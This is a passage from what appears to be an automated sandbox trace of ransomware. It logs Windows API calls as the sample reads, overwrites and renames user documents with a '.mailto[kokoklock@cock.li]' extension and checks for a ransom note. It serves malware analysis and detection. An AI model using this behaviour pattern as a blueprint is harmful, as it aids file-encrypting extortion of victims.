(HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.292] WriteFile (in: hFile=0x768, lpBuffer=0x342bfc8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11abfc9c, lpOverlapped=0x0 | out: lpBuffer=0x342bfc8*, lpNumberOfBytesWritten=0x11abfc9c*=0x8, lpOverlapped=0x0) returned 1 [0069.293] WriteFile (in: hFile=0x768, lpBuffer=0x11abfcb4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11abfc9c, lpOverlapped=0x0 | out: lpBuffer=0x11abfcb4*, lpNumberOfBytesWritten=0x11abfc9c*=0x4, lpOverlapped=0x0) returned 1 [0069.293] WriteFile (in: hFile=0x768, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11abfc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x11abfc9c*=0x4, lpOverlapped=0x0) returned 1 [0069.293] WriteFile (in: hFile=0x768, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11abfc9c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x11abfc9c*=0x6c, lpOverlapped=0x0) returned 1 [0069.293] WriteFile (in: hFile=0x768, lpBuffer=0x342bff0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11abfc9c, lpOverlapped=0x0 | out: lpBuffer=0x342bff0*, lpNumberOfBytesWritten=0x11abfc9c*=0x20, lpOverlapped=0x0) returned 1 [0069.293] WriteFile (in: hFile=0x768, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11abfc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x11abfc9c*=0x4, lpOverlapped=0x0) returned 1 [0069.293] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bff0) returned 1 [0069.293] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c130) returned 1 [0069.293] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bfc8) returned 1 [0069.293] CloseHandle (hObject=0x768) returned 1 [0069.296] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347bd38 [0069.296] wcscpy (in: _Dest=0x347bd38, _Source="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx" [0069.296] wcscat (in: _Dest=0x347bd38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx.mailto[kokoklock@cock.li].d0e731" [0069.296] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\90pgs.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\90pgs.xlsx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.298] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.298] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bd38) returned 1 [0069.298] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx", dwFileAttributes=0x20) returned 0 [0069.298] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.299] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.299] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.299] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.299] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.299] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430d30) returned 1 [0069.299] RtlExitUserThread (Status=0x1) Thread: id = 411 os_tid = 0x1034 [0069.300] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\9nmdocbzbhwyqq.pptx")) returned 0x20 [0069.300] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx", dwFileAttributes=0x20) returned 1 [0069.300] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\9nmdocbzbhwyqq.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x768 [0069.300] GetFileSizeEx (in: hFile=0x768, lpFileSize=0x11b3fb08 | out: lpFileSize=0x11b3fb08*=31632) returned 1 [0069.300] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x7b8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.300] ReadFile (in: hFile=0x768, lpBuffer=0x11b3fadc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11b3fad8, lpOverlapped=0x0 | out: lpBuffer=0x11b3fadc*, lpNumberOfBytesRead=0x11b3fad8*=0x4, lpOverlapped=0x0) returned 1 [0069.302] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.302] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c068 [0069.302] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bff0 [0069.302] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bfc8 [0069.302] NtQuerySystemTime (in: CurrentTime=0x11b3fab4 | out: CurrentTime=0x11b3fab4*=132121176271973119) returned 0x0 [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0xe632d363 [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x76b85fc3 [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x7bdf1fcc [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x53ca90e7 [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x9d60fda9 [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x769bf277 [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0xabe96fb9 [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0xb3bcde3a [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x2cc23e74 [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x8e85a8ba [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0xe02dd5c0 [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x2c0d1b52 [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0xccf89dea [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x86b3acba [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0xfb937bff [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x8d9329a5 [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x2f2b4b92 [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x279ba96d [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0xa60a9045 [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x80cb652e [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0xca4722e8 [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x64fe0cbb [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x6dedfefd [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0xba7854fd [0069.302] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x2c055f54 [0069.303] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0xccb7f095 [0069.303] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x1c43a292 [0069.303] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0xc04ab5b5 [0069.303] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0xb7fec365 [0069.303] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0xeeed3bc9 [0069.303] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x4e3ecb52 [0069.303] RtlRandom (in: Seed=0x11b3fac0 | out: Seed=0x11b3fac0) returned 0x9b28f597 [0069.314] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.314] ReadFile (in: hFile=0x768, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11b3fa8c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x11b3fa8c*=0x4096, lpOverlapped=0x0) returned 1 [0069.314] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.314] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.314] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.314] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1f8 [0069.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1f8) returned 1 [0069.315] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.315] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c0b8 [0069.315] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c040 [0069.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c040) returned 1 [0069.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.315] WriteFile (in: hFile=0x768, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11b3fa8c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x11b3fa8c*=0x4096, lpOverlapped=0x0) returned 1 [0069.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.315] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x7b90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.315] WriteFile (in: hFile=0x768, lpBuffer=0x342c0b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11b3fac4, lpOverlapped=0x0 | out: lpBuffer=0x342c0b8*, lpNumberOfBytesWritten=0x11b3fac4*=0x20, lpOverlapped=0x0) returned 1 [0069.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c0b8) returned 1 [0069.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.315] WriteFile (in: hFile=0x768, lpBuffer=0x342c018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11b3fad8, lpOverlapped=0x0 | out: lpBuffer=0x342c018*, lpNumberOfBytesWritten=0x11b3fad8*=0x8, lpOverlapped=0x0) returned 1 [0069.316] WriteFile (in: hFile=0x768, lpBuffer=0x11b3faf0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11b3fad8, lpOverlapped=0x0 | out: lpBuffer=0x11b3faf0*, lpNumberOfBytesWritten=0x11b3fad8*=0x4, lpOverlapped=0x0) returned 1 [0069.316] WriteFile (in: hFile=0x768, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11b3fad8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x11b3fad8*=0x4, lpOverlapped=0x0) returned 1 [0069.316] WriteFile (in: hFile=0x768, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11b3fad8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x11b3fad8*=0x6c, lpOverlapped=0x0) returned 1 [0069.316] WriteFile (in: hFile=0x768, lpBuffer=0x342bff0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11b3fad8, lpOverlapped=0x0 | out: lpBuffer=0x342bff0*, lpNumberOfBytesWritten=0x11b3fad8*=0x20, lpOverlapped=0x0) returned 1 [0069.316] WriteFile (in: hFile=0x768, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11b3fad8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x11b3fad8*=0x4, lpOverlapped=0x0) returned 1 [0069.316] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bff0) returned 1 [0069.316] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c180) returned 1 [0069.316] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c018) returned 1 [0069.316] CloseHandle (hObject=0x768) returned 1 [0069.317] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9e) returned 0x33e63d8 [0069.318] wcscpy (in: _Dest=0x33e63d8, _Source="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx") returned="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx" [0069.318] wcscat (in: _Dest=0x33e63d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731" [0069.318] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\9nmdocbzbhwyqq.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\9nmdocbzbhwyqq.pptx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.318] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.318] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e63d8) returned 1 [0069.318] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx", dwFileAttributes=0x20) returned 0 [0069.319] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3426d90 [0069.319] wcscpy (in: _Dest=0x3426d90, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.319] wcscat (in: _Dest=0x3426d90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.319] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.319] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d90) returned 1 [0069.319] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426ec8) returned 1 [0069.319] RtlExitUserThread (Status=0x1) Thread: id = 412 os_tid = 0x1038 [0069.320] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx" (normalized: "c:\\users\\fd1hvy\\documents\\crz2qjg8m7wm.docx")) returned 0x20 [0069.320] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx", dwFileAttributes=0x20) returned 1 [0069.320] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx" (normalized: "c:\\users\\fd1hvy\\documents\\crz2qjg8m7wm.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x768 [0069.320] GetFileSizeEx (in: hFile=0x768, lpFileSize=0x11bbf7d8 | out: lpFileSize=0x11bbf7d8*=52225) returned 1 [0069.321] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0xcbfd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.321] ReadFile (in: hFile=0x768, lpBuffer=0x11bbf7ac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11bbf7a8, lpOverlapped=0x0 | out: lpBuffer=0x11bbf7ac*, lpNumberOfBytesRead=0x11bbf7a8*=0x4, lpOverlapped=0x0) returned 1 [0069.321] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c090 [0069.321] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c018 [0069.322] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bff0 [0069.322] NtQuerySystemTime (in: CurrentTime=0x11bbf784 | out: CurrentTime=0x11bbf784*=132121176272129212) returned 0x0 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x56eb3cc8 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0xba70c85d [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0xbf9ef9a0 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x79769a2f [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x4ee4b86a [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x8ffe5cf3 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x428ed8c7 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x153894fb [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x88800ac0 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x3458f518 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x2eca716f [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0xd442c3d5 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x3296c639 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x9f503750 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0xf3394514 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x6812ad17 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x878b2601 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x24706752 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x3c299657 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0xff1baf25 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0xb9f0c18f [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0xb14a55f9 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0xdbe8bd17 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x547df619 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0xdf8ebd4a [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x822e6a7b [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x2859bd16 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x42495bc6 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0xd7790199 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x2638864 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0x5c645ad9 [0069.322] RtlRandom (in: Seed=0x11bbf790 | out: Seed=0x11bbf790) returned 0xd0570ad6 [0069.334] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.334] ReadFile (in: hFile=0x768, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11bbf75c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x11bbf75c*=0x4096, lpOverlapped=0x0) returned 1 [0069.334] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.334] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.334] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.334] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c068 [0069.334] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c068) returned 1 [0069.334] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c0e0 [0069.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c068 [0069.335] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c068) returned 1 [0069.335] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.335] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.335] WriteFile (in: hFile=0x768, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11bbf75c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x11bbf75c*=0x4096, lpOverlapped=0x0) returned 1 [0069.335] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.335] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0xcc01, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.335] WriteFile (in: hFile=0x768, lpBuffer=0x342c0e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11bbf794, lpOverlapped=0x0 | out: lpBuffer=0x342c0e0*, lpNumberOfBytesWritten=0x11bbf794*=0x20, lpOverlapped=0x0) returned 1 [0069.335] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c0e0) returned 1 [0069.335] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.335] WriteFile (in: hFile=0x768, lpBuffer=0x342c040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11bbf7a8, lpOverlapped=0x0 | out: lpBuffer=0x342c040*, lpNumberOfBytesWritten=0x11bbf7a8*=0x8, lpOverlapped=0x0) returned 1 [0069.335] WriteFile (in: hFile=0x768, lpBuffer=0x11bbf7c0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11bbf7a8, lpOverlapped=0x0 | out: lpBuffer=0x11bbf7c0*, lpNumberOfBytesWritten=0x11bbf7a8*=0x4, lpOverlapped=0x0) returned 1 [0069.335] WriteFile (in: hFile=0x768, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11bbf7a8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x11bbf7a8*=0x4, lpOverlapped=0x0) returned 1 [0069.336] WriteFile (in: hFile=0x768, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11bbf7a8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x11bbf7a8*=0x6c, lpOverlapped=0x0) returned 1 [0069.336] WriteFile (in: hFile=0x768, lpBuffer=0x342c018*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11bbf7a8, lpOverlapped=0x0 | out: lpBuffer=0x342c018*, lpNumberOfBytesWritten=0x11bbf7a8*=0x20, lpOverlapped=0x0) returned 1 [0069.336] WriteFile (in: hFile=0x768, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11bbf7a8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x11bbf7a8*=0x4, lpOverlapped=0x0) returned 1 [0069.336] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c018) returned 1 [0069.336] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1a8) returned 1 [0069.336] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c040) returned 1 [0069.336] CloseHandle (hObject=0x768) returned 1 [0069.338] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e63d8 [0069.338] wcscpy (in: _Dest=0x33e63d8, _Source="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx") returned="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx" [0069.338] wcscat (in: _Dest=0x33e63d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731" 